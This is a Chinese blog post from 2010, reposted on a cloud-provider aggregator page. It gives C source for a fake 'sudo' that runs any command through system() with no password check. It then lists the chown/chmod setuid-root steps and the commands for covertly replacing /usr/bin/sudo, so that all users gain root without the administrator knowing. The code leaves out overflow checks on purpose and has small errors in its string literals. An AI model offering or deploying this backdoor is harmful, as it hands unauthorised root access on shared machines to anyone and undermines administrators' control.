利用system函數竊取linux系統超級特權

來源:互聯網
上載者:User
利用system函數竊取linux系統超級特權

Luo Weifeng 2010-9-26

原文發表至QQ空間,現在刪了搞過來。

受 W.Richard Stevens , Stephen A.Rago等老前輩的啟發,今天終於高出了些自己的東東。

 

大家都知道,在linux家族中最近幾年出了個能乾的Ubuntu,它裡面有個命令特別與眾不同--sudo

這個命令確實給普通使用者提供了很大的方便。可是每次執行sudo的時候都需要有個passwd輸入。

要知道程式員是很懶滴,每次輸入一串亂踢八糟的東東真滴很鬱悶,特別是當輸入幾次都出錯滴

時候。這時候就應該想到去看看sudo這個傢伙是怎麼搞的啦。於是:

$cat   /usr/bin/sudo

結果出來一大堆亂碼,哦,竟然是二進位滴,悲劇了

 

想到ISO C給了一個很好用的東東 system() 。有個這個東東大家可能很快就能明白我要幹什麼了

呵呵。是了,自己搞個sudo。我系統原來的幹掉。這樣,呵呵,特權從此泄露。所有使用者都是

超級管理員,而管理員老先生還不知道發生了什麼,儘管憧憬吧。不過,至少你得有一次接觸到

超級使用者權限的機會。呵呵,這個好辦,趁他上廁所。呵呵。邪惡……

 

下面將我滴sudo跟大家分享分享:

sudo.c

 

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int main(int argc ,char * argv[]){
 char commandline[1024];
 char * ptr = commandline;
 
 if(argc < 2){
  fputs("Usage: sudo commandline arg0 .../n",stderr);
  exit(1);
 }
 for(int i = 1;  argv[i] != NULL;i++){
  for(int j= 0;j < strlen(argv[i]);j++){

  /*這裡考慮標準IO庫行緩衝最大值1024的緣故沒有判斷緩衝區溢位的情景,如果要在重要場合應用這個程式

    可以在此添加溢出判斷*/

   *ptr++ = argv[i][j];
  }
  *ptr++ = ' ';
 }
 *ptr++ = '/0';
 
 if(system(commandline) < 0){
  fputs("Err: in system!",stderr);
  exit(2);
 }
 return 0;
}

 

 

編譯:

$gcc -std=c99 sudo.c -o sudo

得到了sudo這個贗品,呵呵

 

接下來就是竊取超級特權的瞬間了,看好了

$sudo chown root ./sudo

$sudo chmod u+s  ./sudo

$sudo chmod o+x ../sudo

替換系統sudo(這個好像有點太邪惡了,呵呵)

$sudo cp /usr/bin/sudo /usr/bin/sudo.bak

$sudo cp ./sudo /usr/bin/sudo

大功告成!!!!!!!!!!!!!!!!!!!!!!!!!!

試試你的新sudo

如果不想這麼邪惡,可以將我們這個sudo放在自己的目錄下,編輯登入指令檔,使得我們的路徑放置在

系統那個sudo的前面,這樣,平常就用這個強大的贗品sudo,有必要用原來那個sudo的時候就用

$/usr/bin/sudo yourcommandline

這樣滴話,就不會惹惱管理員了,自己也能安靜些,其他使用者沒有執行你的路徑的許可權,也是訪問不到

你這個強大的sudo滴,呵呵

注意:如果在上面的介紹中替換了系統的sudo,可以用下面的命令找回:

$cd youranothersudopath

$./sudo cp /usr/bin/sudo.bak /usr/bin/sudo

OK,又恢複原樣。

呵呵呵呵呵額呵呵。盡情的享受吧,哪天鬱悶了把伺服器給 幹了,呵呵

 

後記:貌似這個sudo不會造成系統的重大問題,因為好多任務都會檢查實際使用者ID,這樣的話即使

有設定使用者Id標識,但是還是不能通過部分檢查,可見(Unix)linux設計的是多麼好Y。

於:2010-10-2

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.